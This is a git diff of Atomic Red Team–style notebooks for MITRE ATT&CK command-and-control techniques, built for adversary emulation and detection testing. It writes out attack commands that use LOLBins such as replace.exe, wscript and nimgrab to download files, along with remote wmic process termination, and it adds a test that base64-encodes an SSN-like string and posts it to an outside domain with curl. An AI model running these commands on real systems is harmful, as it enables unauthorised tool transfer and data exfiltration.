\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\") \n{foreach ($machine in get-content -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\")\n{wmic /node: \"$machine\" process where name='\"regsvr32.exe\"' call terminate | out-null\nRemove-Item -path \"\\\\$machine\\C$\\Windows\\Temp\\T1105.exe\" -force -erroraction silentlycontinue}}\nRemove-Item -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105OfflineHosts.txt\" -erroraction silentlycontinue\nRemove-item -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\" -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c9a99e7a", + "id": "56e9b743", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 21 -Cleanup" }, { "cell_type": "markdown", - "id": "f18b654e", + "id": "d8e53150", "metadata": {}, "source": [ "### Atomic Test #22 - Printer Migration Command-Line Tool UNC share folder into a zip file", @@ -655,73 +677,73 @@ { "cell_type": "code", "execution_count": null, - "id": "ba2829ac", + "id": "3d7560bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 22" }, { "cell_type": "markdown", - "id": "69a68b80", + "id": "f7a62738", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\PrintBrm.zip >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "10078b23", + "id": "7e8596b0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 22 -Cleanup" }, { "cell_type": "markdown", - "id": "ec378f80", + "id": "2a9c79cb", "metadata": {}, - "source": "### Atomic Test #23 - Lolbas replace.exe use to copy file\nCopy file.cab to destination\nReference: https://lolbas-project.github.io/lolbas/Binaries/Replace/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{replace_cab} must exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1105\\src\\redcanary.cab) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1105\\src\\redcanary.cab) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/redcanary.cab\" -OutFile \"PathToAtomicsFolder\\T1105\\src\\redcanary.cab\"\n\n```" + "source": "### Atomic Test #23 - Lolbas replace.exe use to copy file\nCopy file.cab to destination\nReference: https://lolbas-project.github.io/lolbas/Binaries/Replace/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{replace_cab} must exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1105\\src\\redcanary.cab\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1105\\src\\redcanary.cab\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/redcanary.cab\" -OutFile \"PathToAtomicsFolder\\T1105\\src\\redcanary.cab\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5b369402", + "id": "d0c507e2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 23 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fd2dbbcb", + "id": "4acfd72f", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ndel %TEMP%\\redcanary.cab >nul 2>&1\nC:\\Windows\\System32\\replace.exe PathToAtomicsFolder\\T1105\\src\\redcanary.cab %TEMP% /A\n```" + "```command_prompt\ndel %TEMP%\\redcanary.cab >nul 2>&1\nC:\\Windows\\System32\\replace.exe \"PathToAtomicsFolder\\T1105\\src\\redcanary.cab\" %TEMP% /A\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "409c23b8", + "id": "f3ded4f8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 23" }, { "cell_type": "markdown", - "id": "2d4e2d51", + "id": "c737dce3", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\redcanary.cab >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9f23e251", + "id": "b1af2a30", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 23 -Cleanup" }, { "cell_type": "markdown", - "id": "818e4eeb", + "id": "fc12f528", "metadata": {}, "source": [ "### Atomic Test #24 - Lolbas replace.exe use to copy UNC file", @@ -734,28 +756,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2be1240a", + "id": "d64887c8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 24" }, { "cell_type": "markdown", - "id": "221f9d68", + "id": "046b71ef", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\redcanary.cab >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b98c145d", + "id": "a0dad8df", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 24 -Cleanup" }, { "cell_type": "markdown", - "id": "ddd1e0f7", + "id": "38a3f654", "metadata": {}, "source": [ "### Atomic Test #25 - certreq download", @@ -768,73 +790,73 @@ { "cell_type": "code", "execution_count": null, - "id": "d9022313", + "id": "416663ea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 25" }, { "cell_type": "markdown", - "id": "2b6a4ea3", + "id": "9c14d5fe", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\Atomic-license.txt >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "d0d3128b", + "id": "5d942240", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 25 -Cleanup" }, { "cell_type": "markdown", - "id": "40d591bc", + "id": "2143aefe", "metadata": {}, - "source": "### Atomic Test #26 - Download a file using wscript\nUse wscript to run a local VisualBasic file to download a remote file\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{vbscript_file} must be exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1105\\src\\T1105-download-file.vbs) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1105\\src\\T1105-download-file.vbs) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105-download-file.vbs\" -OutFile \"PathToAtomicsFolder\\T1105\\src\\T1105-download-file.vbs\"\n\n```" + "source": "### Atomic Test #26 - Download a file using wscript\nUse wscript to run a local VisualBasic file to download a remote file\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{vbscript_file} must be exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1105\\src\\T1105-download-file.vbs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1105\\src\\T1105-download-file.vbs\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105-download-file.vbs\" -OutFile \"PathToAtomicsFolder\\T1105\\src\\T1105-download-file.vbs\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d4f82367", + "id": "2f08a015", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 26 -GetPreReqs" }, { "cell_type": "markdown", - "id": "99341058", + "id": "bc5ace4b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nwscript.exe PathToAtomicsFolder\\T1105\\src\\T1105-download-file.vbs```" + "```command_prompt\nwscript.exe \"PathToAtomicsFolder\\T1105\\src\\T1105-download-file.vbs\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "71457039", + "id": "3f26e756", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 26" }, { "cell_type": "markdown", - "id": "d7675bb3", + "id": "7bc0e241", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel Atomic-License.txt >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "1d08d765", + "id": "5c880ddd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 26 -Cleanup" }, { "cell_type": "markdown", - "id": "8d4be36d", + "id": "a5a8c7e7", "metadata": {}, "source": [ "### Atomic Test #27 - Linux Download File and Run", @@ -847,73 +869,73 @@ { "cell_type": "code", "execution_count": null, - "id": "2f4c428c", + "id": "87ffb52a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 27" }, { "cell_type": "markdown", - "id": "8f299444", + "id": "027cebb9", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm atomic.sh\n```" }, { "cell_type": "code", "execution_count": null, - "id": "739704ee", + "id": "63071edb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 27 -Cleanup" }, { "cell_type": "markdown", - "id": "0910dddc", + "id": "181f4bef", "metadata": {}, - "source": "### Atomic Test #28 - Nimgrab - Transfer Files\nUse nimgrab.exe to download a file from the web. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: NimGrab must be installed on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"$env:TEMP\\nimgrab.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://nim-lang.org/download/nim-1.6.6_x64.zip\" -Outfile $env:temp\\nim.zip\nExpand-Archive -Path $env:temp\\nim.zip -DestinationPath $env:temp\\nim -Force\nCopy-Item $env:temp\\nim\\nim-1.6.6\\bin\\nimgrab.exe $env:TEMP\\nimgrab.exe\nRemove-Item $env:temp\\nim\nRemove-Item $env:temp\\nim.zip\n\n```" + "source": "### Atomic Test #28 - Nimgrab - Transfer Files\nUse nimgrab.exe to download a file from the web. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: NimGrab must be installed on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\nimgrab.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://nim-lang.org/download/nim-1.6.6_x64.zip\" -Outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\nim.zip\"\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\nim.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\nim\" -Force\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\nim\\nim-1.6.6\\bin\\nimgrab.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\nimgrab.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "67da243c", + "id": "8cfefdcf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 28 -GetPreReqs" }, { "cell_type": "markdown", - "id": "aada322c", + "id": "1b0904e9", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncmd /c nimgrab.exe https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt $env:TEMP\\Atomic-license.txt\n```" + "```command_prompt\ncmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\nimgrab.exe\" https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt $env:TEMP\\Atomic-license.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "68392319", + "id": "15a5b232", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 28" }, { "cell_type": "markdown", - "id": "938a7407", + "id": "bfee1c45", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel $env:TEMP\\Atomic-license.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4621ddfa", + "id": "cbf42582", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 28 -Cleanup" }, { "cell_type": "markdown", - "id": "7c04d5f9", + "id": "8e53d719", "metadata": {}, "source": [ "### Atomic Test #29 - iwr or Invoke Web-Request download", @@ -927,34 +949,34 @@ { "cell_type": "code", "execution_count": null, - "id": "039b1588", + "id": "68b37db8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 29" }, { "cell_type": "markdown", - "id": "671e426a", + "id": "fef83b19", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\Atomic-license.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3c6729dc", + "id": "a752ca1a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 29 -Cleanup" }, { "cell_type": "markdown", - "id": "42ef3342", + "id": "b44e530b", "metadata": {}, "source": "## Detection\nMonitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "1d598a56", + "id": "dfd7d7ab", "metadata": {}, "source": "\n## Shield Active Defense\n### PCAP Collection \n Collect full network traffic for future research and analysis. \n\n PCAP Collection allows a defenders to use the data to examine an adversary\u2019s network traffic more closely, including studying if it is encoded and/or encrypted. PCAP can be run through tools to replay the traffic to get a real-time view of what happened over the wire. These tools can also parse the traffic and send results to a SIEM for monitoring and alerting.\n#### Opportunity\nThere is an opportunity to collect network data and analyze the adversary activity it contains.\n#### Use Case\nCollecting full packet capture of all network traffic allows you to review what happened over the connection and identify command and control traffic and/or exfiltration activity.\n#### Procedures\nCollect PCAP on a decoy network to improve visibility into an adversary's network activity.\n" } @@ -962,13 +984,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1132.001.ipynb b/playbook/tactics/command-and-control/T1132.001.ipynb index beaae692..20efdaad 100644 --- a/playbook/tactics/command-and-control/T1132.001.ipynb +++ b/playbook/tactics/command-and-control/T1132.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f3575d4f", + "id": "fb756b18", "metadata": {}, - "source": "# T1132.001 - Standard Encoding\nAdversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip." + "source": "# T1132.001 - Standard Encoding\nAdversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip." }, { "cell_type": "markdown", - "id": "dfc5b8db", + "id": "899d6e82", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "27337f37", + "id": "01fa6539", "metadata": {}, "source": [ "### Atomic Test #1 - Base64 Encoded data.", @@ -27,17 +27,48 @@ { "cell_type": "code", "execution_count": null, - "id": "f107d748", + "id": "d33f0662", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1132.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "749e042a", + "id": "f76757ca", + "metadata": {}, + "source": "### Atomic Test #2 - Base64 Encoded data (freebsd)\nUtilizing a common technique for posting base64 encoded data.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Requires curl\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v curl)\" ]; then exit 0; else exit 1; fi; \n\n```\n##### Get Prereq Commands:\n```sh\npkg install -y curl\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f29603f2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1132.001 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "bb68afc1", "metadata": {}, "source": [ - "### Atomic Test #2 - XOR Encoded data.", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho -n 111-11-1111 | b64encode -r -\ncurl -XPOST MTExLTExLTExMTE=.redcanary.com\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d9accf8d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1132.001 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "c2c056ae", + "metadata": {}, + "source": [ + "### Atomic Test #3 - XOR Encoded data.", "XOR encodes the data with a XOR key.\nReference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -47,14 +78,14 @@ { "cell_type": "code", "execution_count": null, - "id": "05258878", + "id": "ddeaa99b", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1132.001 -TestNumbers 2" + "source": "Invoke-AtomicTest T1132.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "b63d7d1d", + "id": "d1deba81", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" } @@ -62,13 +93,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1132.002.ipynb b/playbook/tactics/command-and-control/T1132.002.ipynb index 713e71ec..29063aff 100644 --- a/playbook/tactics/command-and-control/T1132.002.ipynb +++ b/playbook/tactics/command-and-control/T1132.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "813c13bb", + "id": "acb4c575", "metadata": {}, "source": "# T1132.002 - Non-Standard Encoding\nAdversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) " }, { "cell_type": "markdown", - "id": "b7057654", + "id": "6fccbfd7", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ce4594f4", + "id": "ca71bd91", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1132.ipynb b/playbook/tactics/command-and-control/T1132.ipynb index 10ec4005..38e3997f 100644 --- a/playbook/tactics/command-and-control/T1132.ipynb +++ b/playbook/tactics/command-and-control/T1132.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "100bb424", + "id": "af7dc671", "metadata": {}, "source": "# T1132 - Data Encoding\nAdversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip." }, { "cell_type": "markdown", - "id": "dc7452fd", + "id": "7b42975f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "71e460f7", + "id": "d669d0a4", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "8ee536a1", + "id": "1bd84aaf", "metadata": {}, "source": "\n## Shield Active Defense\n### Protocol Decoder \n Use software designed to deobfuscate or decrypt adversary command and control (C2) or data exfiltration traffic. \n\n Protocol decoders are designed to read network traffic and contextualize all activity between the operator and the implant. These tools are often required to process complex encryption ciphers and custom protocols into a human-readable format for an analyst to interpret.\n#### Opportunity\nThere is an opportunity to reveal data that the adversary has tried to protect from defenders\n#### Use Case\nDefenders can develop protocol decoders that can decrypt network capture data and expose an adversary's command and control traffic as well as their exfiltration activity.\n\n#### Procedures\nCreate and apply a decoder which allows you to view encrypted and/or encoded network traffic in a human-readable format.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1172.ipynb b/playbook/tactics/command-and-control/T1172.ipynb deleted file mode 100644 index 02b33fe5..00000000 --- a/playbook/tactics/command-and-control/T1172.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "6dd0da12", - "metadata": {}, - "source": "# T1172 - Domain Fronting\nDomain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y." - }, - { - "cell_type": "markdown", - "id": "7000d821", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "49ea7f95", - "metadata": {}, - "source": "## Detection\nIf SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1188.ipynb b/playbook/tactics/command-and-control/T1188.ipynb deleted file mode 100644 index 44b5e20b..00000000 --- a/playbook/tactics/command-and-control/T1188.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "0e5283a5", - "metadata": {}, - "source": "# T1188 - Multi-hop Proxy\nTo disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source." - }, - { - "cell_type": "markdown", - "id": "7f5bf7a9", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "79eb1350", - "metadata": {}, - "source": "## Detection\nWhen observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1205.001.ipynb b/playbook/tactics/command-and-control/T1205.001.ipynb index 062ed062..2edf36c2 100644 --- a/playbook/tactics/command-and-control/T1205.001.ipynb +++ b/playbook/tactics/command-and-control/T1205.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1c097b72", + "id": "0f5feee5", "metadata": {}, "source": "# T1205.001 - Port Knocking\nAdversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs." }, { "cell_type": "markdown", - "id": "03ea00eb", + "id": "44ad7368", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "3d72f110", + "id": "f313bc0f", "metadata": {}, "source": "## Detection\nRecord network packets sent to and from the system, looking for extraneous packets that do not belong to established flows." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1205.002.ipynb b/playbook/tactics/command-and-control/T1205.002.ipynb index 9cf88564..ace4be95 100644 --- a/playbook/tactics/command-and-control/T1205.002.ipynb +++ b/playbook/tactics/command-and-control/T1205.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "91f42798", + "id": "d331eeff", "metadata": {}, "source": "# T1205.002 - Socket Filters\nAdversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage." }, { "cell_type": "markdown", - "id": "09ccc4a0", + "id": "808f5126", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "54161284", + "id": "f13a46c0", "metadata": {}, "source": "## Detection\nIdentify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)" } 